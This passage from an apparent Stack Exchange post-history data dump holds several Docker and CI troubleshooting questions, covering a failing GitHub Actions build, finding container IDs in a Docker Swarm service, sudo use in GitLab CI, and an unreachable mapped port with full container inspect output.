running: npm install&#xD;&#xA;#21 8.187 /app/Bejebeje.Identity/Bejebeje.Identity.csproj(46,5): error MSB3073: The command &quot;npx gulp default&quot; exited with code 1.&#xD;&#xA;#21 ERROR: executor failed running [/bin/sh -c dotnet publish ./Bejebeje.Identity/Bejebeje.Identity.csproj -c Release -o out]: exit code: 1&#xD;&#xA;------&#xD;&#xA; &gt; [build-env 14/14] RUN dotnet publish ./Bejebeje.Identity/Bejebeje.Identity.csproj -c Release -o out:&#xD;&#xA;------&#xD;&#xA;failed to solve: rpc error: code = Unknown desc = executor failed running [/bin/sh -c dotnet publish ./Bejebeje.Identity/Bejebeje.Identity.csproj -c Release -o out]: exit code: 1&#xD;&#xA;Error: buildx call failed with: failed to solve: rpc error: code = Unknown desc = executor failed running [/bin/sh -c dotnet publish ./Bejebeje.Identity/Bejebeje.Identity.csproj -c Release -o out]: exit code: 1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;What am I missing? I mean this is all happening inside a container, so I'm not sure why it would work locally and not on GitHub Actions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/JwanKhalaf/Bejebeje.Identity" ContentLicense="CC BY-SA 4.0" />
  <row Id="39626" PostHistoryTypeId="1" PostId="12923" RevisionGUID="c66adc69-a024-41fa-9f4c-26a35ec80d76" CreationDate="2020-12-04T23:12:30.573" UserId="13052" Text="The command &quot;npx gulp default&quot; exited with code 1" ContentLicense="CC BY-SA 4.0" />
  <row Id="39627" PostHistoryTypeId="3" PostId="12923" RevisionGUID="c66adc69-a024-41fa-9f4c-26a35ec80d76" CreationDate="2020-12-04T23:12:30.573" UserId="13052" Text="&lt;docker&gt;&lt;github-actions&gt;&lt;gulp&gt;&lt;npx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39628" PostHistoryTypeId="2" PostId="12924" RevisionGUID="4159a306-7c07-4d82-aa1c-e82db6da3a69" CreationDate="2020-12-05T02:42:05.923" UserId="8489" Text="**Background**&#xD;&#xA;&#xD;&#xA;I'm trying to maintain some websites running in a Docker Swarm.  I want to do security updates on them.&#xD;&#xA;&#xD;&#xA;In a non-Docker environment, like a VPS, my simple process is that I would connect in and git pull updates and run any database updates associated with these.&#xD;&#xA;&#xD;&#xA;I want to do the same with websites that are running in a Docker Swarm as Docker Containers that belong to a respective Docker Service.&#xD;&#xA;&#xD;&#xA;But it seems to be a disproportionate of effort to find the Docker commands to help me with this.&#xD;&#xA;&#xD;&#xA;**Specifically my question is:**&#xD;&#xA;&#xD;&#xA;**If I know the Docker Service name or ID,  what Docker command can I run to find out the IDs of all the containers to be able to connect into them.**&#xD;&#xA;&#xD;&#xA;The reason why I start with the Docker Service when I list them on the Docker master node, using `docker service ls` I get a &quot;user friendly&quot; list of services, which helps me pick out the particular service for the site to maintain, e.g.:&#xD;&#xA;&#xD;&#xA;        $ docker service ls&#xD;&#xA;        ID                  NAME                       MODE                REPLICAS            IMAGE                      PORTS&#xD;&#xA;        sr2w12kl8bg1        site1_db                    replicated          1/1                 animage2/mariadb:latest        *:13306-&gt;3306/tcp&#xD;&#xA;        e083ij8abje1        site1_drupal                replicated          1/1                 animage2/drupal:d7             *:7150-&gt;80/tcp&#xD;&#xA;        sejb0f2mfo22        site1_drush                 replicated          0/1                 drush/drush:latest         &#xD;&#xA;        kbae02doa8rs        site1_haproxy               replicated          2/2                 haproxy:alpine             &#xD;&#xA;        khgmnu1566rb        site2_db                    replicated          1/1                 mariadb:latest             &#xD;&#xA;        notoc1fam1gk        site3_drupal                replicated          1/1                 animage1/drupal:d8             *:7160-&gt;80/tcp&#xD;&#xA;        0xtxx4jmmwa3        site4_db                    replicated          1/1                 mariadb:latest            &#xD;&#xA;    &#xD;&#xA;    etc...&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I can look at this list above, and pick out a line and say &quot;that's the site&quot;.&#xD;&#xA;&#xD;&#xA;**So here's the blocker:** &#xD;&#xA;&#xD;&#xA;Having picked out a line, I've got an ID, say `e083ij8abje1` for a service running Drupal. &#xD;&#xA;&#xD;&#xA;Now I want to ssh into a Docker container inside that Docker Service to do the upgrade.&#xD;&#xA;&#xD;&#xA;There's this command for ssh-ing into a Docker container:&#xD;&#xA;&#xD;&#xA;    docker exec -it &lt;container_id&gt; /bin/bash &#xD;&#xA;&#xD;&#xA;Where container is a Hexadecimal number e.g. `a1b2c3d4ee8` so it would e.g. look like  `docker exec -it a1b2c3d4ee8 /bin/bash` &#xD;&#xA;&#xD;&#xA;But I don't have the Docker container ID, I have the Docker Service ID which is an alphanumeric number, as in the above example `e083ij8abje1` - this won't work for the above docker exec command.&#xD;&#xA;&#xD;&#xA;So I need a docker command that lists the Docker Container IDs that belong to a Docker Service.&#xD;&#xA;&#xD;&#xA;To my surprise, there doesn't seem to be one!&#xD;&#xA;&#xD;&#xA;I know I can also list the Docker Containers&#xD;&#xA;&#xD;&#xA;    $ docker ps&#xD;&#xA;    CONTAINER ID        IMAGE                  COMMAND                  CREATED             STATUS              PORTS                    NAMES&#xD;&#xA;    d5d45a94d45e        haproxy:alpine         &quot;/docker-entrypoint.…&quot;   3 days ago          Up 3 days                                    db_proxy_haproxy.2.91aw0apofd3iw537d249pyi62&#xD;&#xA;    6a4676df2b3a        22dbb7890585           &quot;docker-entrypoint.s…&quot;   3 days ago          Up 3 days           3306/tcp                 site2_db.1.xxizdccg9a2hgf83tcgg1tkaej&#xD;&#xA;    538172a86a57        site1/drupal:gmbcu      &quot;docker-php-entrypoi…&quot;  3 days ago          Up 3 days           80/tcp                   site3.1.uofsfssl72aj867r0hfs86i7m24linae8&#xD;&#xA;    2d487ea3788e        22dbb7890585           &quot;docker-entrypoint.s…&quot;   3 days ago          Up 3 days           3306/tcp                 site4_db.1.3lnd0f9sl027f0skgza3kq373c0&#xD;&#xA;    d671069584d7        mariadb:latest         &quot;docker-entrypoint.s…&quot;   3 days ago          Up 3 days           3306/tcp                 site5.1.xoy0r6720362hlkhksu2qd&#xD;&#xA;    beb6bcb66f43        mariadb:latest         &quot;docker-entrypoint.s…&quot;   3 days ago          Up 3 days           3306/tcp                 site2.1.kobk423624kljfs1uhpflfs3&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But this doesn't tell me what Service a Docker Container is running in.  Neither command gives me the full information and that's frustrating. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Research done already**&#xD;&#xA;&#xD;&#xA; - [How to get container id of a docker service][1] Various answers that don't seem to work for me and they are convoluted not simple commands, I'm using Docker 19.03&#xD;&#xA;&#xD;&#xA; - [Swarm mode: getting Container ID from Task ID][2] Nothing definitive here stands out. And they've introduced the idea of &quot;Task&quot; - what is that in relation to Docker, Service, Containe?&#xD;&#xA;&#xD;&#xA; - I also found several similar question / answers that were just wordy and pointing to the general documentation.  Not very helpful as they don't show by example.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm trying my best to understand these concepts and have drawn a diagram below. ( Please confirm that Docker Containers belong to a Service. )&#xD;&#xA;&#xD;&#xA;Yes, I understand that Docker Swarm is declarative and can allocate Containers where it decides are best, in terms of running them on a particular node.  That seems to be the approach encountered whenever I've been trying to find this answer, answers seem to want to give too much information for the reader, when what the reader needs is specific practical examples,  not loads of theory and concepts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So to summarise what I am looking for is a simple command or 2 that enables me to:&#xD;&#xA;&#xD;&#xA;- list the Docker Containers by ID that belong to a Service,  given the Service ID / name to start with&#xD;&#xA;- for a given Docker Container and ID, find out what Docker Service it belongs to.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am aware about Docker Swarm end-of-life so don't want answers telling me to use something else. please.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![How I think Docker is organised][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/43868379/how-to-get-container-id-of-a-docker-service&#xD;&#xA;  [2]: https://github.com/moby/moby/issues/25871&#xD;&#xA;  [3]: https://i.stack.imgur.com/dOHdo.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39629" PostHistoryTypeId="1" PostId="12924" RevisionGUID="4159a306-7c07-4d82-aa1c-e82db6da3a69" CreationDate="2020-12-05T02:42:05.923" UserId="8489" Text="How to get the IDs of Docker Containers that belong to a Service, given the Service name or id" ContentLicense="CC BY-SA 4.0" />
  <row Id="39630" PostHistoryTypeId="3" PostId="12924" RevisionGUID="4159a306-7c07-4d82-aa1c-e82db6da3a69" CreationDate="2020-12-05T02:42:05.923" UserId="8489" Text="&lt;docker&gt;&lt;containers&gt;&lt;docker-swarm&gt;&lt;ssh&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39633" PostHistoryTypeId="2" PostId="12925" RevisionGUID="992c88a2-415e-41e5-96fd-8edc194ed38c" CreationDate="2020-12-05T06:54:35.673" UserId="24583" Text="I am trying to run gitlab ci which contains custom php image. The before_script invokes docker_install.sh In docker_isntall.sh I executed &quot;whoami&quot; it gives &quot;docker&quot;. I tried to list down groups it gives &quot;[docker][1] sudo&quot;.&#xD;&#xA;&#xD;&#xA;When I try to execute further instrutions in docker_install.sh file, like&#xD;&#xA;&#xD;&#xA;cp ci/php.ini /etc/php/7.4/cli/php.ini&#xD;&#xA;&#xD;&#xA;it does not execute and gives error cp: cannot create regular file '/etc/php/7.4/cli/php.ini': Permission denied&#xD;&#xA;&#xD;&#xA;if I do sudo cp ci/php.ini /etc/php/7.4/cli/php.ini&#xD;&#xA;&#xD;&#xA;it executes successfully. However there are many such instruction for which I do not want to append &quot;sudo&quot;.&#xD;&#xA;&#xD;&#xA;What is the solution to this problem.?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Know someone who can answer?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.opstrainerz.com/docker-training" ContentLicense="CC BY-SA 4.0" />
  <row Id="39634" PostHistoryTypeId="1" PostId="12925" RevisionGUID="992c88a2-415e-41e5-96fd-8edc194ed38c" CreationDate="2020-12-05T06:54:35.673" UserId="24583" Text="Gitlab CI invokes docker install.sh and always runs instruction with Sudo" ContentLicense="CC BY-SA 4.0" />
  <row Id="39635" PostHistoryTypeId="3" PostId="12925" RevisionGUID="992c88a2-415e-41e5-96fd-8edc194ed38c" CreationDate="2020-12-05T06:54:35.673" UserId="24583" Text="&lt;docker&gt;&lt;linux&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39636" PostHistoryTypeId="2" PostId="12926" RevisionGUID="72219331-11fe-44f6-b822-98ea109a722d" CreationDate="2020-12-05T10:02:43.680" UserId="25007" Text="I just can't access the project's resource through the mapped port, the weirdest thing is that only this container, the others and with other projects it works fine.&#xD;&#xA;&#xD;&#xA;It was working pretty well and then subtly stop working.&#xD;&#xA;&#xD;&#xA;It's important to mention that: &#xD;&#xA;- Any other container I start works well, with the same configurations&#xD;&#xA;- MySQL container is fine and accessible&#xD;&#xA;- If I go inside the container and use a curl, everything works fine, it can even access the mysql container through docker's network&#xD;&#xA;&#xD;&#xA;Dockerfile:&#xD;&#xA;```&#xD;&#xA;FROM openjdk:9 as akka-java&#xD;&#xA;&#xD;&#xA;RUN mkdir /akka-order-management&#xD;&#xA;WORKDIR /akka-order-management&#xD;&#xA;&#xD;&#xA;COPY . .&#xD;&#xA;&#xD;&#xA;RUN ./mvnw install&#xD;&#xA;&#xD;&#xA;FROM azul/zulu-openjdk-alpine:9.0.7&#xD;&#xA;&#xD;&#xA;RUN apk --no-chache add curl&#xD;&#xA;&#xD;&#xA;RUN mkdir /order&#xD;&#xA;WORKDIR /&#xD;&#xA;COPY --from=akka-java /akka-order-management/target/akka-order-management-1.0-allinone.jar /order/app.jar&#xD;&#xA;&#xD;&#xA;EXPOSE 8080&#xD;&#xA;&#xD;&#xA;CMD [&quot;/bin/bash&quot;]&#xD;&#xA;ENTRYPOINT java -jar /order/app.jar 2580&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;docker-compose:&#xD;&#xA;```&#xD;&#xA;version: '3.8'&#xD;&#xA;services:&#xD;&#xA;  order:&#xD;&#xA;    image: order-management&#xD;&#xA;    container_name: order-management&#xD;&#xA;    build:&#xD;&#xA;      context: ./&#xD;&#xA;      dockerfile: docker/Dockerfile&#xD;&#xA;    environment:&#xD;&#xA;      MySQL_HOST: jdbc:mysql://mysql:3306/order-management&#xD;&#xA;    ports:&#xD;&#xA;      - &quot;8080:8080&quot;&#xD;&#xA;  mysql:&#xD;&#xA;    image: mysql&#xD;&#xA;    container_name: mysql-local&#xD;&#xA;    environment:&#xD;&#xA;      MYSQL_DATABASE: order-management&#xD;&#xA;      MYSQL_ROOT_PASSWORD: root123&#xD;&#xA;    volumes:&#xD;&#xA;      - ./docker/mysql-dump:/docker-entrypoint-initdb.d&#xD;&#xA;    command: [mysqld, --default-authentication-plugin=mysql_native_password]&#xD;&#xA;    ports:&#xD;&#xA;      - &quot;3306:3306&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;CMD: docker ps&#xD;&#xA;```&#xD;&#xA;CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                               NAMES&#xD;&#xA;4bc25a41959b        mysql               &quot;docker-entrypoint.s…&quot;   16 minutes ago      Up 16 minutes       0.0.0.0:3306-&gt;3306/tcp, 33060/tcp   mysql-local&#xD;&#xA;4cde331dbfb6        order-management    &quot;/bin/sh -c 'java -j…&quot;   16 minutes ago      Up 16 minutes       0.0.0.0:8080-&gt;8080/tcp              order-management&#xD;&#xA;```&#xD;&#xA;CMD: docker container inspect order-management&#xD;&#xA;```&#xD;&#xA;brunocalmon@brunocalmon akka-order-management % docker container inspect order-management&#xD;&#xA;[&#xD;&#xA;    {&#xD;&#xA;        &quot;Id&quot;: &quot;4cde331dbfb6b91ca13515b5a2cf3b4fcc607f7053dd995d0bcc75d3970e3bbe&quot;,&#xD;&#xA;        &quot;Created&quot;: &quot;2020-12-05T09:34:54.124184513Z&quot;,&#xD;&#xA;        &quot;Path&quot;: &quot;/bin/sh&quot;,&#xD;&#xA;        &quot;Args&quot;: [&#xD;&#xA;            &quot;-c&quot;,&#xD;&#xA;            &quot;java -jar /order/app.jar 2580&quot;,&#xD;&#xA;            &quot;/bin/bash&quot;&#xD;&#xA;        ],&#xD;&#xA;        &quot;State&quot;: {&#xD;&#xA;            &quot;Status&quot;: &quot;running&quot;,&#xD;&#xA;            &quot;Running&quot;: true,&#xD;&#xA;            &quot;Paused&quot;: false,&#xD;&#xA;            &quot;Restarting&quot;: false,&#xD;&#xA;            &quot;OOMKilled&quot;: false,&#xD;&#xA;            &quot;Dead&quot;: false,&#xD;&#xA;            &quot;Pid&quot;: 6123,&#xD;&#xA;            &quot;ExitCode&quot;: 0,&#xD;&#xA;            &quot;Error&quot;: &quot;&quot;,&#xD;&#xA;            &quot;StartedAt&quot;: &quot;2020-12-05T09:34:54.64152641Z&quot;,&#xD;&#xA;            &quot;FinishedAt&quot;: &quot;0001-01-01T00:00:00Z&quot;&#xD;&#xA;        },&#xD;&#xA;        &quot;Image&quot;: &quot;sha256:1ac8ce57be1ab7ee0b17d926b63fc717559eef434dd0b1cf6f233e113464fccb&quot;,&#xD;&#xA;        &quot;ResolvConfPath&quot;: &quot;/var/lib/docker/containers/4cde331dbfb6b91ca13515b5a2cf3b4fcc607f7053dd995d0bcc75d3970e3bbe/resolv.conf&quot;,&#xD;&#xA;        &quot;HostnamePath&quot;: &quot;/var/lib/docker/containers/4cde331dbfb6b91ca13515b5a2cf3b4fcc607f7053dd995d0bcc75d3970e3bbe/hostname&quot;,&#xD;&#xA;        &quot;HostsPath&quot;: &quot;/var/lib/docker/containers/4cde331dbfb6b91ca13515b5a2cf3b4fcc607f7053dd995d0bcc75d3970e3bbe/hosts&quot;,&#xD;&#xA;        &quot;LogPath&quot;: &quot;/var/lib/docker/containers/4cde331dbfb6b91ca13515b5a2cf3b4fcc607f7053dd995d0bcc75d3970e3bbe/4cde331dbfb6b91ca13515b5a2cf3b4fcc607f7053dd995d0bcc75d3970e3bbe-json.log&quot;,&#xD;&#xA;        &quot;Name&quot;: &quot;/order-management&quot;,&#xD;&#xA;        &quot;RestartCount&quot;: 0,&#xD;&#xA;        &quot;Driver&quot;: &quot;overlay2&quot;,&#xD;&#xA;        &quot;Platform&quot;: &quot;linux&quot;,&#xD;&#xA;        &quot;MountLabel&quot;: &quot;&quot;,&#xD;&#xA;        &quot;ProcessLabel&quot;: &quot;&quot;,&#xD;&#xA;        &quot;AppArmorProfile&quot;: &quot;&quot;,&#xD;&#xA;        &quot;ExecIDs&quot;: [&#xD;&#xA;            &quot;db75d6ef1027ce323a6e2ca622f8f78662948bc7065ccaf5aa9d4561116b010c&quot;&#xD;&#xA;        ],&#xD;&#xA;        &quot;HostConfig&quot;: {&#xD;&#xA;            &quot;Binds&quot;: [],&#xD;&#xA;            &quot;ContainerIDFile&quot;: &quot;&quot;,&#xD;&#xA;            &quot;LogConfig&quot;: {&#xD;&#xA;                &quot;Type&quot;: &quot;json-file&quot;,&#xD;&#xA;                &quot;Config&quot;: {}&#xD;&#xA;            },&#xD;&#xA;            &quot;NetworkMode&quot;: &quot;akka-order-management_default&quot;,&#xD;&#xA;            &quot;PortBindings&quot;: {&#xD;&#xA;                &quot;8080/tcp&quot;: [&#xD;&#xA;                    {&#xD;&#xA;                        &quot;HostIp&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;HostPort&quot;: &quot;8080&quot;&#xD;&#xA;                    }&#xD;&#xA;                ]&#xD;&#xA;            },&#xD;&#xA;            &quot;RestartPolicy&quot;: {&#xD;&#xA;                &quot;Name&quot;: &quot;&quot;,&#xD;&#xA;                &quot;MaximumRetryCount&quot;: 0&#xD;&#xA;            },&#xD;&#xA;            &quot;AutoRemove&quot;: false,&#xD;&#xA;            &quot;VolumeDriver&quot;: &quot;&quot;,&#xD;&#xA;            &quot;VolumesFrom&quot;: [],&#xD;&#xA;            &quot;CapAdd&quot;: null,&#xD;&#xA;            &quot;CapDrop&quot;: null,&#xD;&#xA;            &quot;Capabilities&quot;: null,&#xD;&#xA;            &quot;Dns&quot;: null,&#xD;&#xA;            &quot;DnsOptions&quot;: null,&#xD;&#xA;            &quot;DnsSearch&quot;: null,&#xD;&#xA;            &quot;ExtraHosts&quot;: null,&#xD;&#xA;            &quot;GroupAdd&quot;: null,&#xD;&#xA;            &quot;IpcMode&quot;: &quot;private&quot;,&#xD;&#xA;            &quot;Cgroup&quot;: &quot;&quot;,&#xD;&#xA;            &quot;Links&quot;: null,&#xD;&#xA;            &quot;OomScoreAdj&quot;: 0,&#xD;&#xA;            &quot;PidMode&quot;: &quot;&quot;,&#xD;&#xA;            &quot;Privileged&quot;: false,&#xD;&#xA;            &quot;PublishAllPorts&quot;: false,&#xD;&#xA;            &quot;ReadonlyRootfs&quot;: false,&#xD;&#xA;            &quot;SecurityOpt&quot;: null,&#xD;&#xA;            &quot;UTSMode&quot;: &quot;&quot;,&#xD;&#xA;            &quot;UsernsMode&quot;: &quot;&quot;,&#xD;&#xA;            &quot;ShmSize&quot;: 67108864,&#xD;&#xA;            &quot;Runtime&quot;: &quot;runc&quot;,&#xD;&#xA;            &quot;ConsoleSize&quot;: [&#xD;&#xA;                0,&#xD;&#xA;                0&#xD;&#xA;            ],&#xD;&#xA;            &quot;Isolation&quot;: &quot;&quot;,&#xD;&#xA;            &quot;CpuShares&quot;: 0,&#xD;&#xA;            &quot;Memory&quot;: 0,&#xD;&#xA;            &quot;NanoCpus&quot;: 0,&#xD;&#xA;            &quot;CgroupParent&quot;: &quot;&quot;,&#xD;&#xA;            &quot;BlkioWeight&quot;: 0,&#xD;&#xA;            &quot;BlkioWeightDevice&quot;: null,&#xD;&#xA;            &quot;BlkioDeviceReadBps&quot;: null,&#xD;&#xA;            &quot;BlkioDeviceWriteBps&quot;: null,&#xD;&#xA;            &quot;BlkioDeviceReadIOps&quot;: null,&#xD;&#xA;            &quot;BlkioDeviceWriteIOps&quot;: null,&#xD;&#xA;            &quot;CpuPeriod&quot;: 0,&#xD;&#xA;            &quot;CpuQuota&quot;: 0,&#xD;&#xA;            &quot;CpuRealtimePeriod&quot;: 0,&#xD;&#xA;            &quot;CpuRealtimeRuntime&quot;: 0,&#xD;&#xA;            &quot;CpusetCpus&quot;: &quot;&quot;,&#xD;&#xA;            &quot;CpusetMems&quot;: &quot;&quot;,&#xD;&#xA;            &quot;Devices&quot;: null,&#xD;&#xA;            &quot;DeviceCgroupRules&quot;: null,&#xD;&#xA;            &quot;DeviceRequests&quot;: null,&#xD;&#xA;            &quot;KernelMemory&quot;: 0,&#xD;&#xA;            &quot;KernelMemoryTCP&quot;: 0,&#xD;&#xA;            &quot;MemoryReservation&quot;: 0,&#xD;&#xA;            &quot;MemorySwap&quot;: 0,&#xD;&#xA;            &quot;MemorySwappiness&quot;: null,&#xD;&#xA;            &quot;OomKillDisable&quot;: false,&#xD;&#xA;            &quot;PidsLimit&quot;: null,&#xD;&#xA;            &quot;Ulimits&quot;: null,&#xD;&#xA;            &quot;CpuCount&quot;: 0,&#xD;&#xA;            &quot;CpuPercent&quot;: 0,&#xD;&#xA;            &quot;IOMaximumIOps&quot;: 0,&#xD;&#xA;            &quot;IOMaximumBandwidth&quot;: 0,&#xD;&#xA;            &quot;MaskedPaths&quot;: [&#xD;&#xA;                &quot;/proc/asound&quot;,&#xD;&#xA;                &quot;/proc/acpi&quot;,&#xD;&#xA;                &quot;/proc/kcore&quot;,&#xD;&#xA;                &quot;/proc/keys&quot;,&#xD;&#xA;                &quot;/proc/latency_stats&quot;,&#xD;&#xA;                &quot;/proc/timer_list&quot;,&#xD;&#xA;                &quot;/proc/timer_stats&quot;,&#xD;&#xA;                &quot;/proc/sched_debug&quot;,&#xD;&#xA;                &quot;/proc/scsi&quot;,&#xD;&#xA;                &quot;/sys/firmware&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;ReadonlyPaths&quot;: [&#xD;&#xA;                &quot;/proc/bus&quot;,&#xD;&#xA;                &quot;/proc/fs&quot;,&#xD;&#xA;                &quot;/proc/irq&quot;,&#xD;&#xA;                &quot;/proc/sys&quot;,&#xD;&#xA;                &quot;/proc/sysrq-trigger&quot;&#xD;&#xA;            ]&#xD;&#xA;        },&#xD;&#xA;        &quot;GraphDriver&quot;: {&#xD;&#xA;            &quot;Data&quot;: {&#xD;&#xA;                &quot;LowerDir&quot;: &quot;/var/lib/docker/overlay2/85f5cbaa04a17f70615dc5a97f1cc54e48d480770108d933b6c9fbaf8856a34f-init/diff:/var/lib/docker/overlay2/f9584712826915fbe5292736546a1d4ec9b9ccfcfc10127c2bea36bcd65d2d8a/diff:/var/lib/docker/overlay2/87c2380f7230707a7d75208d8958443bcc72cbb7c66534f9214811d1de310566/diff:/var/lib/docker/overlay2/af81b2063fc0e5d75bae2a5615e890e2d6550d3d6300b82ef5ffbbbd52e070c0/diff:/var/lib/docker/overlay2/6cf109a706f652c530f0fdb6805c38dbde69436988456a23731ef2034deddb43/diff:/var/lib/docker/overlay2/f3904b9b8909c441e1496f661b208b96e206af81ab50c5523f73b6aa98390e7f/diff&quot;,&#xD;&#xA;                &quot;MergedDir&quot;: &quot;/var/lib/docker/overlay2/85f5cbaa04a17f70615dc5a97f1cc54e48d480770108d933b6c9fbaf8856a34f/merged&quot;,&#xD;&#xA;                &quot;UpperDir&quot;: &quot;/var/lib/docker/overlay2/85f5cbaa04a17f70615dc5a97f1cc54e48d480770108d933b6c9fbaf8856a34f/diff&quot;,&#xD;&#xA;                &quot;WorkDir&quot;: &quot;/var/lib/docker/overlay2/85f5cbaa04a17f70615dc5a97f1cc54e48d480770108d933b6c9fbaf8856a34f/work&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Name&quot;: &quot;overlay2&quot;&#xD;&#xA;        },&#xD;&#xA;        &quot;Mounts&quot;: [],&#xD;&#xA;        &quot;Config&quot;: {&#xD;&#xA;            &quot;Hostname&quot;: &quot;4cde331dbfb6&quot;,&#xD;&#xA;            &quot;Domainname&quot;: &quot;&quot;,&#xD;&#xA;            &quot;User&quot;: &quot;&quot;,&#xD;&#xA;            &quot;AttachStdin&quot;: false,&#xD;&#xA;            &quot;AttachStdout&quot;: false,&#xD;&#xA;            &quot;AttachStderr&quot;: false,&#xD;&#xA;            &quot;ExposedPorts&quot;: {&#xD;&#xA;                &quot;8080/tcp&quot;: {}&#xD;&#xA;            },&#xD;&#xA;            &quot;Tty&quot;: false,&#xD;&#xA;            &quot;OpenStdin&quot;: false,&#xD;&#xA;            &quot;StdinOnce&quot;: false,&#xD;&#xA;            &quot;Env&quot;: [&#xD;&#xA;                &quot;MySQL_HOST=jdbc:mysql://mysql:3306/order-management&quot;,&#xD;&#xA;                &quot;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&quot;,&#xD;&#xA;                &quot;LANG=en_US.UTF-8&quot;,&#xD;&#xA;                &quot;LANGUAGE=en_US:en&quot;,&#xD;&#xA;                &quot;LC_ALL=en_US.UTF-8&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;Cmd&quot;: [&#xD;&#xA;                &quot;/bin/bash&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;Image&quot;: &quot;order-management&quot;,&#xD;&#xA;            &quot;Volumes&quot;: null,&#xD;&#xA;            &quot;WorkingDir&quot;: &quot;/&quot;,&#xD;&#xA;            &quot;Entrypoint&quot;: [&#xD;&#xA;                &quot;/bin/sh&quot;,&#xD;&#xA;                &quot;-c&quot;,&#xD;&#xA;                &quot;java -jar /order/app.jar 2580&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;OnBuild&quot;: null,&#xD;&#xA;            &quot;Labels&quot;: {&#xD;&#xA;                &quot;com.docker.compose.config-hash&quot;: &quot;5fe0f3a5b264846cdce8d681ae84e16bfce0a9cc46b89b0a1aafc7a5a7f7595a&quot;,&#xD;&#xA;                &quot;com.docker.compose.container-number&quot;: &quot;1&quot;,&#xD;&#xA;                &quot;com.docker.compose.oneoff&quot;: &quot;False&quot;,&#xD;&#xA;                &quot;com.docker.compose.project&quot;: &quot;akka-order-management&quot;,&#xD;&#xA;                &quot;com.docker.compose.project.config_files&quot;: &quot;docker-compose.yml&quot;,&#xD;&#xA;                &quot;com.docker.compose.project.working_dir&quot;: &quot;/Users/brunocalmon/Projects/Interviews/java/akka/akka-order-management&quot;,&#xD;&#xA;                &quot;com.docker.compose.service&quot;: &quot;order&quot;,&#xD;&#xA;                &quot;com.docker.compose.version&quot;: &quot;1.27.4&quot;&#xD;&#xA;            }&#xD;&#xA;        },&#xD;&#xA;        &quot;NetworkSettings&quot;: {&#xD;&#xA;            &quot;Bridge&quot;: &quot;&quot;,&#xD;&#xA;            &quot;SandboxID&quot;: &quot;3a4b5a09d42407567cdfd5eed6fb888757bde59590a08f59cd77efa2c3c04711&quot;,&#xD;&#xA;            &quot;HairpinMode&quot;: false,&#xD;&#xA;            &quot;LinkLocalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;            &quot;LinkLocalIPv6PrefixLen&quot;: 0,&#xD;&#xA;            &quot;Ports&quot;: {&#xD;&#xA;                &quot;8080/tcp&quot;: [&#xD;&#xA;                    {&#xD;&#xA;                        &quot;HostIp&quot;: &quot;0.0.0.0&quot;,&#xD;&#xA;                        &quot;HostPort&quot;: &quot;8080&quot;&#xD;&#xA;                    }&#xD;&#xA;                ]&#xD;&#xA;            },&#xD;&#xA;            &quot;SandboxKey&quot;: &quot;/var/run/docker/netns/3a4b5a09d424&quot;,&#xD;&#xA;            &quot;SecondaryIPAddresses&quot;: null,&#xD;&#xA;            &quot;SecondaryIPv6Addresses&quot;: null,&#xD;&#xA;            &quot;EndpointID&quot;: &quot;&quot;,&#xD;&#xA;            &quot;Gateway&quot;: &quot;&quot;,&#xD;&#xA;            &quot;GlobalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;            &quot;GlobalIPv6PrefixLen&quot;: 0,&#xD;&#xA;            &quot;IPAddress&quot;: &quot;&quot;,&#xD;&#xA;            &quot;IPPrefixLen&quot;: 0,&#xD;&#xA;            &quot;IPv6Gateway&quot;: &quot;&quot;,&#xD;&#xA;            &quot;MacAddress&quot;: &quot;&quot;,&#xD;&#xA;            &quot;Networks&quot;: {&#xD;&#xA;                &quot;akka-order-management_default&quot;: {&#xD;&#xA;                    &quot;IPAMConfig&quot;: null,&#xD;&#xA;                    &quot;Links&quot;: null,&#xD;&#xA;                    &quot;Aliases&quot;: [&#xD;&#xA;                        &quot;4cde331dbfb6&quot;,&#xD;&#xA;                        &quot;order&quot;&#xD;&#xA;                    ],&#xD;&#xA;                    &quot;NetworkID&quot;: &quot;1ee965061173069300693ffa8e40ed034bab3597f814641a419721c277973a9e&quot;,&#xD;&#xA;                    &quot;EndpointID&quot;: &quot;9691e4b2fc01f7d1940006c5eaa0bf9e9d120b2b9c89ef02a2e5e2860be48fd3&quot;,&#xD;&#xA;                    &quot;Gateway&quot;: &quot;172.18.0.1&quot;,&#xD;&#xA;                    &quot;IPAddress&quot;: &quot;172.18.0.2&quot;,&#xD;&#xA;                    &quot;IPPrefixLen&quot;: 16,&#xD;&#xA;                    &quot;IPv6Gateway&quot;: &quot;&quot;,&#xD;&#xA;                    &quot;GlobalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                    &quot;GlobalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                    &quot;MacAddress&quot;: &quot;02:42:ac:12:00:02&quot;,&#xD;&#xA;                    &quot;DriverOpts&quot;: null&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    